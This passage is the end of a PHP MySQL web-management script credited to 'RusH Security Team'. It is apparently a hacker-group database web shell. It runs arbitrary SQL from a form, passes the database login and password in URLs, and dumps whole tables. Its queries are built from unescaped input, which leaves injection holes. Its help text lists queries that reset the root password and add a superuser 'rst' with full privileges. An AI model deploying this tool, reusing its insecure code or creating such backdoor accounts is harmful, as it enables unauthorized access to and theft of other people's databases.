        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <input type=\"hidden\" name=\"db\" value=\"$db\">
        <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
        <input type=\"hidden\" name=\"alter_table\" value=\"$alter_table\">
        <table border=0 cellpadding=4 cellspacing=1 bgcolor=#FFFFFF>
        <tr><td bgcolor=#DAD9D9 align=center><font size=2>Переименовать таблицу [ <b>$tbl</b> ]</font></td></tr>
        <tr><td bgcolor=#DAD9D9>Новое имя таблицы:
        <input type=\"text\" name=\"alttbl\" value=\"\">
        <input type=\"submit\" value=\"переименовать\" onClick=\"return confirm('Вы уверены, что хотите переименовать таблицу \' $tbl \' ?')\";>
        </td></tr></table></form>";
}

 if (isset($alttbl)){
 mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
 //$query = "RENAME TABLE $tbl TO $alttbl";
 $query = "ALTER TABLE $tbl RENAME TO $alttbl";
 $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); 
 $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#706D6D size=2>Таблица [ <b>$tbl ]</b> переименована в [ <b>$alttbl</b> ]</font><br>");
 print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&tbl=$alttbl&limit_start=0&limit_count=5&t=$t'></head>";
 }

/*-------------------Структура таблицы-----------------*/
if (isset($st_tab) && $st_tab=='TRUE'){
 mysql_select_db($st_db);
 $result = mysql_query('desc '.$tbl, $connection); 
 print "<br><center><font size=2>Структура таблицы [ <b>$tbl</b> ]</font><center>".
       "<table align=center border=0 cellpadding=2 cellspacing=1 width=700 bgcolor=#FFFFFF>";
 
 for ($i=0;$i<@mysql_num_fields($result);$i++){
       $name=mysql_field_name($result,$i);
       $name=eregi_replace("Field","Поле",trim($name));
       $name=eregi_replace("Type","Тип",trim($name));
       $name=eregi_replace("Null","Ноль",trim($name));
       $name=eregi_replace("Key","Индексы",trim($name));
       $name=eregi_replace("Default","По умолчанию",trim($name));
       $name=eregi_replace("Extra","Дополнительно",trim($name));
       $nn .= "<td align=center bgcolor=#C7C5C5><b>$name</b></td>";   
 } 
 print "<tr>$nn</tr>";
 while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) {      
     print "<tr bgcolor=#E7E7D7>";
     foreach ($l_tbl as $k_tbl =>$col_v_tbl) {          
          if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') {
             $col_v_tbl="Первичный";
          }
          if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') {
             $col_v_tbl="Уникальный";
          }
          if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') {
             $col_v_tbl="Индекс";
          }
          if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Да"; }
          if (eregi("Field", $k_tbl)) { 
             print "<td><font color=green><b>".htmlspecialchars($col_v_tbl)."</b></font></td>";
          }elseif (eregi("Type", $k_tbl)) { 
             print "<td align=left>".htmlspecialchars($col_v_tbl)."</td>";
          }else{
             print "<td align=center>".htmlspecialchars($col_v_tbl)."</td>";             
          }
     }
     print "</tr>";
 }
 print "</table><br>";
 @mysql_free_result($result);
}

/*-------------Произвольный запрос к таблице-------------*/
if ($_GET['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; }
if ($_GET['return_sql']=='ok') { $q_tbl=trim($_GET['new_query_tbl']); }
$form_query_db_tbl="<br>
        <form method=\"get\" action=\"$self?s=$s\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">                
        <input type=\"hidden\" name=\"db\" value=\"$db\">
        <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <table width=90% border=0 bgcolor=#EDEEF1><tr><td>Выполнить произвольный запрос к таблице ( <b>$tbl</b> )</td></tr>
        <tr><td width=90>
        <textarea name=\"new_query_tbl\" rows=\"10\" cols=\"80\">$q_tbl</textarea>
        </td><td valign=top>
        <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> Показать PHP-код запроса<br><br>
        <input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> Показать данный запрос снова<br>
        <br>
        <a href=\"$self?s=$s&q_help=ok\" target=\"_blank\"><b>Примеры запросов</b></a>
        </td></tr>
        <tr><td>
        <input type=\"submit\" value=\"запрос\">
        </td></tr>
        </table></td></form>";


if (isset($_GET['query_tbl']) || $_GET['q_tbl']=='table') { 
  print $form_query_db_tbl."<br>"; 
}


if (isset($new_query_tbl)) {
   $new_query_tbl=trim($new_query_tbl);
   print $form_query_db_tbl;


   $result_tbl = mysql_query($new_query_tbl) or die("$h_error<b>".mysql_error()."</b>$f_error");
   if ($result_tbl !=='') {
      print " 
      <table align=center border=0 width=90% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr>";
      if ($php_kod=='ok') { print "<font color=green><b>PHP-код запроса:</b></font><br>\$sql = \"$new_query_tbl\";<br><br>"; }
      if (preg_match("[drop]",$new_query)) { print "Таблица удалена, обновите список таблиц базы."; }

      print "<br><b>Запрос успешно выполнен</b><br>";
      /*получаем названия столбцов*/
      for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){
           $name_tbl=mysql_field_name($result_tbl,$i);
           print "<td bgcolor=#C7C5C5>$name_tbl</td>";   
      } 

      print "</tr>";
      while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) {
         print "<tr>";
         foreach ($line_tbl as $key_tbl =>$col_value_tbl) {          
             print "<td bgcolor=#EDEEF1>".htmlspecialchars($col_value_tbl)."</td>";
         }
         print "</tr>";
      }
      print "</table><br>";
      @mysql_free_result($result_tbl);
   }
}

/*-------------показать строки таблицы--------------*/
if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) && 
!isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) && 
!isset($nn_row) && !isset($nn) && !isset($upd_f)) {
  print "<br><table border=0 cellpadding=1 cellspacing=1 width=100% bgcolor=#FFFFFF><tr>";

//определяем индекс для таблицы, по какому полю(полям) будем искать редактируемую запись
//Key_name Имя индекса, Column_name Имя столбца
$query_ind = "SHOW KEYS FROM `{$tbl}`";
$result_ind = mysql_query($query_ind) or die("$h_error<b>".mysql_error()."</b>$f_error");

while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
    if ($row['Key_name'] == 'PRIMARY') {
        $primary[] .= $row['Column_name'];
    } 
}
 
mysql_free_result($result_ind);

 $query = "SELECT * FROM `{$tbl}` LIMIT {$limit_start},{$limit_count}";
 $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
if (mysql_num_rows($result) == 0) {
  print "Таблица <b>$tbl</b> не содержит ни одной записи";
}else{
  /*получаем названия столбцов*/
  print "<td bgcolor=#E6E7E9></td><td bgcolor=#E6E7E9></td>";
  for ($i=0;$i<mysql_num_fields($result);$i++){
    $name=mysql_field_name($result,$i);
    print "<td bgcolor=#C7C5C5>$name</td>";   
  } 
}
  while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
     print "</tr>";

     foreach ($line as $key =>$col_value) {

         if (count($primary) > 0) { 
           if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); } 
         } 
         else {
            //if (strlen($col_value) >= 20) { 
            //   $e_count=substr($col_value,0,20);
            //   $edit .= urlencode("`$key`='$e_count' AND ");
            //} else {
               $edit .= urlencode("`$key`='$col_value' AND ");
            //}
            
         } 

        $string .= "<td bgcolor=#EDEEF1>".htmlspecialchars($col_value)."</td>";
     }
       $edit=substr_replace($edit,"",-5); //отбросить последний +AND+
       print "<tr><td bgcolor=#97C8D4 width=25><a href=$self?query_edit=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl title=\"Редактировать значения колонок\">Edit</a></td>".
             "<td bgcolor=#F84C6C width=25><a href=\"$self?query_del=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl\" title=\"Удалить запись\" onClick=\"return confirm('Удалить запись, уверены ?');\">Del</a></td>".
             $string."";
    
       unset($edit);
       unset($string);
  }

  mysql_free_result($result);
  print "</table><br>";
}

//удаляем запись
if (isset($query_del)) {
 $query = 'DELETE FROM `'.$tbl.'` WHERE '.urldecode($query_del);
 $r_del = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
 print "Успешно удалено строк (<b> ".mysql_affected_rows()."</b> )";

}

//выводим форму редактирования строки
if (isset($query_edit)) {
 $query = 'SELECT * FROM `'.$tbl.'` WHERE '.urldecode($query_edit);
 $r_edit = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); 


print "<br><center><font color=green><h5>Редактирование значений полей таблицы</h5></font></center>".
      "<table border=0 cellpadding=1 cellspacing=1 bgcolor=#FFFFFF><tr bgcolor=#C7C5C5>".
      "<td align=center><b>Поле</b></td><td align=center><b>Значение</b></td></tr>";
print   "<form method=\"get\" action=\"$self\">".
        "<input type=\"hidden\" name=\"s\" value=\"$s\">".
        "<input type=\"hidden\" name=\"q_get\" value=\"y\">".
        "<input type=\"hidden\" name=\"server\" value=\"$server\">".
        "<input type=\"hidden\" name=\"port\" value=\"$port\">".
        "<input type=\"hidden\" name=\"login\" value=\"$login\">".
        "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
        "<input type=\"hidden\" name=\"db\" value=\"$db\">".
        "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">";
     print "<input type=\"radio\" name=\"up_str\" value=\"up_ok\" checked=\"checked\">Обновить значения&nbsp;&nbsp;<b>ИЛИ</b>&nbsp;&nbsp;&nbsp;".
           "<input type=\"radio\" name=\"up_str\" value=\"ins_ok\">Вставить новый ряд<br><br>";

  while ($line = mysql_fetch_array($r_edit, MYSQL_ASSOC)) {
     foreach ($line as $key =>$col_value) {
        $del_str_с .= "`$key`='$col_value' AND ";
        $len_value=strlen($col_value);
        if ($len_value > 40) { $t_value="<textarea name=$key cols=39 rows=5>$col_value</textarea>"; }
        else { $t_value="<input type='text' name='$key' value='$col_value'size=40>"; }
        $g_query .= "<tr><td bgcolor=#DBDCDD><b>$key</b></td><td>$t_value</td></tr>";
     }
  }
     $del_str=urlencode($del_str_с);
     print "<input type=\"hidden\" name=\"del_str\" value=\"$del_str\">";
     print "$g_query</table><br>";
     print "<br><input type=submit value=\"изменить значение\"></form>";
}

if (isset($q_get)) {
  $url=$_SERVER['QUERY_STRING'];
  if ($_GET['up_str']=='up_ok') {
     $del_str=urldecode(substr_replace($del_str,"",-5));
     $b = explode('&', $url);
     for ($i = 10; $i < count($b); $i++) {
        $q = explode("=",$b[$i]);
        $q_a .= "`".$q[0]."`='".$q[1]."', ";
     }
     $q_a_ins=urldecode(substr_replace($q_a,"",-2));
     $q_st=urldecode(substr_replace($q_st,"",-2));
     //что заменяем $del_str 
     //на что будем менять $q_a_ins

     $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
     $q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error");
     $c_a_r=mysql_affected_rows();
     print "<table align=left width=70% bgcolor=#D7D8DA><tr><td><font color=green>".
           "<b>PHP-код запроса:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>".
           "</tr><tr><td><font color=green>Изменено строк</font> (<b>$c_a_r<b>)</td></tr></table>";
  }
  if ($_GET['up_str']=='ins_ok') {
     $b = explode('&', $url);
     for ($i = 10; $i < count($b); $i++) {
        $q = explode("=",$b[$i]);
        $i_cols .="`$q[0]`, ";
        $i_val .= "'$q[1]', ";
     }
     $i_cols=urldecode(substr_replace($i_cols,"",-2)); //колонки
     $q_a_ins=urldecode(substr_replace($i_val,"",-2)); //значения
     $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)";
     $q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error");
     $c_a_r=mysql_affected_rows();
     print "<table align=left width=70% bgcolor=#D7D8DA><tr><td><font color=green>".
           "<b>PHP-код запроса:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>".
           "</tr><tr><td><font color=green>Изменено строк</font> (<b>$c_a_r<b>)</td></tr></table>";
    
  }
}

/*------------Вставить ряд--------------*/
if (isset($nn_row) && $_GET['nn_row']=='ok') {
 $nn_q = "SHOW FIELDS FROM {$tbl}";
 $r_n = mysql_query($nn_q) or die("$h_error<b>".mysql_error()."</b>$f_error");
print   "<form method=\"get\" action=\"$self\">".
        "<input type=\"hidden\" name=\"s\" value=\"$s\">".
        "<input type=\"hidden\" name=\"nn\" value=\"ok\">".
        "<input type=\"hidden\" name=\"server\" value=\"$server\">".
        "<input type=\"hidden\" name=\"port\" value=\"$port\">".
        "<input type=\"hidden\" name=\"login\" value=\"$login\">".
        "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
        "<input type=\"hidden\" name=\"db\" value=\"$db\">".
        "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">".
        "<br><center><font size=2>Вставить новый ряд в таблицу [ <b>$tbl</b> ]</font></center>".        
        "<br><table border=0 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr bgcolor=#DAD9D9>".
        "<td align=center><b>Поле</b></td><td align=center><b>Тип</b></td>".
        "<td align=center><b>Значение</b></td></tr>";
  while ($n_line = mysql_fetch_array($r_n, MYSQL_ASSOC)) {
     foreach ($n_line as $n_k =>$n_v) {
        $pole .= "$n_v ";
     }
       $n_l=explode(" ",$pole);
       print "<tr bgcolor=#EDEEF1><td>&nbsp;<b>$n_l[0]</b>&nbsp;</td><td bgcolor=#E7E7D7>&nbsp;".
              wordwrap($n_l[1],40,"<br>",1).
              "&nbsp;</td><td><input type=text name=\"$n_l[0]\" size=35><td></tr>";             
       unset($pole); 
  }
  print "</table><br><center><input type=submit value=\"вставить новый ряд\"></center></form><br>";
}

if (isset($nn) && $_GET['nn']=='ok') {
     $url_n=urldecode($_SERVER['QUERY_STRING']);
     $b_nn = explode('&', $url_n);
     for ($i = 8; $i < count($b_nn); $i++) {
        $q_nn = explode("=",$b_nn[$i]);
          $q_a_nn .= "`".$q_nn[0]."` ,";        
          $q_nn_v .= "'".$q_nn[1]."' ,";
     }

     $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2));
     $q_nn_v=substr_replace($q_nn_v,"",-2);
     $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )";
     mysql_query($sql_n) or die("$h_error<b>".mysql_error()."</b>$f_error");
     $c_n_r=mysql_affected_rows();
     print "&nbsp;&nbsp;&nbsp;<table align=left width=70% bgcolor=#D7D8DA>".
           "<tr><td><b>Action:</b> <font color=green>Успешно вставлено строк</font> (<b>$c_n_r<b>)</td></tr>".
           "<tr><td><font color=green><b>PHP-код запроса:</b></font></td></tr><tr><td>\$sql=\"$sql_n\";</td></tr></table><br><br>";
}

/*-----------dump таблицы------------*/
$form_dump=
"<form method=\"get\" action=\"$self\">".
"<input type=\"hidden\" name=\"s\" value=\"$s\">".
"<input type=\"hidden\" name=\"db\" value=\"$db\">".
"<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">".
"<input type=\"hidden\" name=\"server\" value=\"$server\">".
"<input type=\"hidden\" name=\"port\" value=\"$port\">".
"<input type=\"hidden\" name=\"login\" value=\"$login\">".
"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
"<table bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>".
"<table cellpadding=2 bgcolor=#F0F1F4 width=100%>".
"<tr><td align=center><b>Dump таблицы</b> [ <font color=green><b>$tbl</b></font> ]</td></tr>".
"<tr><td><input type=\"radio\" name=\"strukt\" value=\"t_strukt\"> Только структуру</td></tr>".
"<tr><td><input type=\"radio\" name=\"strukt\" value=\"d\"> Только данные</td></tr>".
"<tr><td><input type=\"radio\" name=\"strukt\" value=\"d_strukt\" checked=\"checked\"> Структуру и данные</td></tr>".
"<tr><td align=center><hr size=1 color=#FFFFFF><b>Действие</b> (показать/отправить)</td></tr>".
"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> Показать в броузере</td></tr>".
"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> Отправить файл дампа по HTTP</td></tr>".
"<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
"</table>".
"</td></tr></table></form>";

if ($dump=="tab"){ print $form_dump;}
/*----------Только структура------------*/

if ($_GET['strukt']=='t_strukt' && $_GET['send']=='send_br' ){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];

   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   //$file = "/tmp/dump_".$tbl.".sql";
   // открываем файл для записи дампа 
   $fp = fopen($file, "w"); 
   fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
   date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); 

      // получаем текст запроса создания структуры таблицы 
      $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); 
      $row = mysql_fetch_row($res); 
      fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
      fputs($fp, $row[1].";\n\n");   
   fclose($fp); 
   $dump_file=file($file);
print "<br><table bgcolor=#FFFFFF width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#F0F1F4>";
foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
print "</table></td></tr></table><br>";

unlink($file);
}

/*----------Структура и данные------------*/
if ($_GET['strukt']=='d_strukt' && $_GET['send']=='send_br'){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];

   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   //$file = "/tmp/dump_".$tbl.".sql";
   // открываем файл для записи дампа 
   $fp = fopen($file, "w"); 
   fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ".
   date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); 

      // получаем текст запроса создания структуры таблицы 
      $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); 
      $row = mysql_fetch_row($res); 
      fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
      fputs($fp, $row[1].";\n\n"); 
       
      // получаем данные таблицы 
      $res = mysql_query("SELECT * FROM `$tbl`", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_assoc($res)) { 
            $keys = implode("`, `", array_keys($row)); 
            $values = array_values($row); 
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
            $values = implode("', '", $values); 
            $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; 
            fputs($fp, $sql); 
         } 
      }
 
   fclose($fp); 
$dump_file=file($file);
print "<br><table bgcolor=#FFFFFF width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#F0F1F4>";
foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
print "</table></td></tr></table><br>";
unlink($file);
}

/*----------Только данные------------*/
if ($_GET['strukt']=='d' && $_GET['send']=='send_br'){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];

   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   //$file = "/tmp/dump_".$tbl.".sql";
   // открываем файл для записи дампа 
   $fp = fopen($file, "w"); 
      // получаем данные таблицы 
      $res = mysql_query("SELECT * FROM `$tbl`", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_assoc($res)) { 
            $keys = implode("`, `", array_keys($row)); 
            $values = array_values($row); 
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
            $values = implode("', '", $values); 
            $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; 
            fputs($fp, $sql); 
         } 
      }
 
   fclose($fp); 
$dump_file=file($file);
print "<br><table bgcolor=#FFFFFF width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#F0F1F4>";
foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
print "</table></td></tr></table><br>";
unlink($file);
}
/*-------------END! показать строки таблицы--------------*/

print "
   </td>
 </tr>
</table>
           </td>
         </tr>
       </table>";
}

/*------------------------ END R I G H T   B L O C K ! -----------------------*/
/*информация php*/
if (isset($php) && $php=='ok'){
echo "<br /><div style = 'text-align:center;font-size: 300%'><a href = '$self'>НАЗАД</a></div><br />";
phpinfo();
echo "<br /><div style = 'text-align:center;font-size: 300%'><a href = '$self'>НАЗАД</a></div><br />";
}
if (isset($q_help) && $q_help=='ok'){
 print 'Мини HELP по запросам
 <li><b>SHOW TABLES </b> выводит список таблиц базы
 <li><b>SHOW OPEN TABLES</b> выводит список таблиц, которые в настоящий момент открыты в кэше таблицы
 <li><b>SHOW TABLE STATUS</b> структура таблиц базы
 <li><b>SELECT VERSION(), CURRENT_DATE</b> выводит версию MySQL сервера и текущую дату
 <li><b>SELECT (2*2), (4+1)*5, (9/3), (5-3)</b> используем MySQL как калькулятор: указываем через запятую арифметические операции
 <li><b>DROP TABLE IF EXISTS table_name</b> удалить таблицу \"table_name\"
 <li><b>CREATE TABLE bar (m INT)</b> создать таблицу bar с одним столбцом (m) типа integer
 <li><b>CREATE TABLE test (number INTEGER,texts CHAR(10));</b> создать таблицу test с полями number -тип INTEGER и поле texts -тип CHAR
 <li><b>CREATE TABLE `test` SELECT * FROM `rush`;</b> создать таблицу test ,копируя таблицу rush
 <li><b>ALTER TABLE test CHANGE SITE OLD_SITE INTEGER</b> переименовать столбец INTEGER из SITE в OLD_SITE
 <li><b>ALTER TABLE test RENAME rush</b> переименовать таблицу test в rush
 <li><b>UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\'</b> сменить юзеру root пароль
 <li><b>FLUSH PRIVILEGES</b> перечитать таблицу привилегий юзеров
 <li><b>GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION</b> добавить нового супер-юзера mysql <b>rst</b> с паролем <b>some_pass</b>
 ';

}

print "
   </td>
 </tr>
</table>

</td></tr>
<tr><td>
<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
      <table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
         <tr>
            <td align=center>
                &copy;RusH Security Team (coded by dinggo, Modified by AOH)<br />
            </td>
         </tr>
      </table> 
</td></tr>
</table>
</td></tr></table>";

?>
